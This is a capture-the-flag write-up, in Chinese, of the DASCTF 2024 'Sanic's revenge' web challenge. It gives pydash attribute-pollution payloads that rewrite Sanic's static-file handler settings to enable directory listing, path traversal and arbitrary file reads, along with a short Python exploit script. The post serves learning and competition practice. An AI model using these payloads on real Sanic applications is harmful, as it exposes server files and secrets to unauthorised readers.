DASCTF 2024暑期挑战赛-WEB-Sanic's revenge gxngxngxn

DASCTF-WEB-Sanic's revenge gxngxngxn

写在开篇碎碎念

在我上篇文章(https://www.cnblogs.com/gxngxngxn/p/18205235)的结尾,我分享了两点我在寻找污染链的过程中发现的一些新玩意。其中作为本题考点之一的file_or_directory就在其中,没看过的师傅可以看一眼(orz。而本题主要考点的污染链我并没有放上去,并不是我故意藏东西(真bushi),而是当时只是有这个思路,但是并没有仔细研究,后面接到了出题通知,才想到要不就出这个吧(别骂了,呜呜呜,其他的我也不会)。才开始着手研究,其实也不难(bushi。

考点分析

书接上文,我们对sanic中列目录的开启功能和穿越链子的找寻,但是我们仔细看他对路由的处理,我们会发现点好玩的东西。

入口的寻找

我们继续看DirectoryHandler类中handle方法中的逻辑:

当我们开启列目录功能后,就会进入:

return self._index(
    self.directory / current, path, request.app.debug
)

调用_index方法,我们跟进_index方法:

很明显这里就是对我们传入的目录路径的处理,我们打个断点调试一下:

我们先访问static路由

可以看到这里列出的目录路径就是由self.directory(这玩意是个对象,这里的值是其中的parts控制的)+current拼接得到的,

那么这里就很好玩了,如果我能控制current的值,例如为"..",那这样不就可以实现目录穿越,直接列出上层目录下的文件了嘛

那么current是哪来的呢?

解释:

从给定的路径中去除基本路径(`self.base`),然后返回剩余路径。首先,`path.strip("/")` 去除路径两端的斜杠,然后`[len(self.base):]` 取基本路径之后的部分,最后`.strip("/")` 再次去除剩余路径两端的斜杠

#可以看到current的值就是由path和base两个值决定的

那么现在我们就看是否能控制path和self.base的值了

path

可以看到我们访问static路由时,这里path的值是/static/

那么很明显这里的值就是我们网页访问的路径了,所以可控

self.base

这玩意一看就是自身的属性,想都不用想,随便污染的,也可控

另外我们可以看到这里的值为static

所以我们可以看到此时current的值为:

所以我们此时列的目录仅仅只是:

C:\Users\86183\PycharmProjects\pythonProject1\venv\static

如果我们手动修改current的值为..,那么会发生什么?请看vcr:

可以看到此时成功穿越到上层目录了,列出了上层目录venv下的内容

如何构造?

要想让current变成..,就得访问一个目录,我们在static下新建一个目录ctf的目录

(注意不是文件,访问文件并不会经过上述的操作):

我们直接访问ctf..路由试试,会直接报错

我们调试看看:

可以看到此时path为/static/ctf../,base为static

所以此时current为:

这时你肯定突然灵光一闪,要是我控制base为static/ctf,不就可以让current为..了嘛

gxn(恭喜你),你答对了

我们可以直接污染base为static/ctf

data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/ctf"}

接着继续访问:

可以看到此时current已经变成了..,成功实现目录穿越。

新的问题

那么这里是我们新建了一个目录,要是本来下面没有目录怎么办呢?

我们访问一个不存在的目录看看:

直接就会访问404,压根就不会经过上述的解析操作

那么这时候就需要我们的file_or_directory小伙伴出场了

file_or_directory的妙用

在我上篇文章中也说了,file_or_directory类似flask中的_static_url_path,可以改变静态文件的默认路径

我们只需要通过这个改变到其他目录,该目录下存在其他目录不就好了

data={"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "C:\\Users\\"}

例如我先改变到C:\Users\这个目录下,然后访问

可以看到并不会报404,而是直接500,说明这样确实可行,那么接下来只需要重复之前的步骤即可

成功穿越到上层venv目录,注意这里file_or_directory只是改变它识别的路径,并不会改变

self.directory中parts的值,这个列目录的值依旧是默认C:\Users\86183\PycharmProjects\pythonProject1\venv\static

大乌龙

这里发生了一件大乌龙,当我兴致勃勃的拿这个考点出题时,发现在linux中这样并行不通,直接访问某目录+..会直接报404,后面才发现其实是windows下和linux下的解析差异

windows

例如我这里访问/static/86183../,实际在获取时只会识别/static/86183/,会自动忽略..,但是在后面列目录的时候又不会忽略,额,我不是很懂,所以在windows下直接随便访问一个存在的目录即可

linux

linux下就相对苛刻一些了,访问/static/xxx../,就会识别成xxx..,当你不存在这个目录时,就会报404,所以在linux条件下想要利用,就得有目录名字叫做xxx..,所以就有了下面的抽象题目(师傅们要骂就狠狠的骂我吧,orz)

解题

首先看到给出的附件:

from sanic import Sanic
import os
from sanic.response import text, html
import sys
import random
import pydash
# pydash==5.1.2

# 这里的源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
    def __init__(self):
        pass

app = Sanic(__name__)
app.static("/static/", "./static/")

@app.route("/*****secret********")
async def secret(request):
    secret='**************************'
    return text("can you find my route name ???"+secret)

@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())

@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
    key = request.json['key']
    value = request.json['value']
    if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
        pollute = Pollute()
        pydash.set_(pollute, key, value)
        return text("success")
    else:
        log_dir = create_log_dir(6)
        log_dir_bak = log_dir + ".."
        log_file = "/tmp/" + log_dir + "/access.log"
        log_file_bak = "/tmp/" + log_dir_bak + "/access.log.bak"
        log = 'key: ' + str(key) + '|' + 'value: ' + str(value);
        # 生成日志文件
        os.system("mkdir /tmp/" + log_dir)
        with open(log_file, 'w') as f:
            f.write(log)
        # 备份日志文件
        os.system("mkdir /tmp/" + log_dir_bak)
        with open(log_file_bak, 'w') as f:
            f.write(log)
        return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

分析一下源代码:

/pollute路由提供了一个污染点pydash.set_,通过传参key和value可以实现原型链污染。此外这个路由还设置了一个waf,如果触发了waf,就会将key和value的值写入/tmp目录下的文件中

还存在一个未知名称的路由,我们可以猜测里面放了secret ???

根据提示可以发现,这里的源码并不完整,所以我们需要得到完整的源码

这里的入口点就是原型链污染,我们污染file_or_directory到根目录下,就可以实现任意文件读取

我们接着想办法获取源代码文件名,尝试访问/static/proc/1/cmdline:

接着访问/start.sh:

得到源码名称:2Q17A58T9F65y5i8.py

访问/app/2Q17A58T9F65y5i8.py,得到完整源码:

from sanic import Sanic
import os
from sanic.response import text, html
import sys
import random
import pydash

# pydash==5.1.2

#源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
    def __init__(self):
        pass

def create_log_dir(n):
        ret = ""
        for i in range(n):
            num = random.randint(0, 9)
            letter = chr(random.randint(97, 122))
            Letter = chr(random.randint(65, 90))
            s = str(random.choice([num, letter, Letter]))
            ret += s
        return ret
        
app = Sanic(__name__)
app.static("/static/", "./static/")

@app.route("/Wa58a1qEQ59857qQRPPQ")
async def secret(request):
    with open("/h111int",'r') as f:
       hint=f.read()
    return text(hint)

@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())

@app.route("/adminLook", methods=['GET'])
async def AdminLook(request):
    #方便管理员查看非法日志
    log_dir=os.popen('ls /tmp -al').read();
    return text(log_dir)
    
@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
    key = request.json['key']
    value = request.json['value']
    if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
        pollute = Pollute()
        pydash.set_(pollute, key, value)
        return text("success")
    else:
        log_dir=create_log_dir(6)
        log_dir_bak=log_dir+".."
        log_file="/tmp/"+log_dir+"/access.log"
        log_file_bak="/tmp/"+log_dir_bak+"/access.log.bak"
        log='key: '+str(key)+'|'+'value: '+str(value);
        #生成日志文件
        os.system("mkdir /tmp/"+log_dir)
        with open(log_file, 'w') as f:
             f.write(log)
        #备份日志文件
        os.system("mkdir /tmp/"+log_dir_bak)
        with open(log_file_bak, 'w') as f:
             f.write(log)
        return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")

if __name__ == '__main__':
    app.run(host='0.0.0.0')

可以看到多出来的路由:Wa58a1qEQ59857qQRPPQ,我们直接访问得到hint:

flag in /app,but you need to find his name!!!
Find a way to see the file names in the app directory

这里提示我们flag文件在app目录下,只是不知道flag名字

那么很明显我们需要想办法列出app目录下的文件

还看到adminLook路由可以看到/tmp目录下的文件,而我们的非法日志就记录在此目录下,我们先随便触发一次非法记录,接着访问adminLook路由:

可以看到这里存在两个目录,一个备份目录名称为ddahJ6..,那么就可以利用访问这个目录实现穿越到上层目录:

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/tmp"}

首先切换到tmp目录下,再污染base的值:

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/ddahJ6"}

同时记得开启列目录功能:

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}

接着访问即可:

可以看到flag名称,接着访问/app/45W698WqtsgQT1_flag即可得到flag

下面给出我的exp:

import requests

#开启列目录
#data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}
#将目录设置在根目录下
#data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": "/"}
#修改默认路径
data={"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}
#构造current
#data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/fJBkhI"}


response = requests.post(url='url', json=data)

print(response.text)
posted @ 2024-07-21 15:18  gxngxngxn  阅读(943)  评论(8编辑  收藏  举报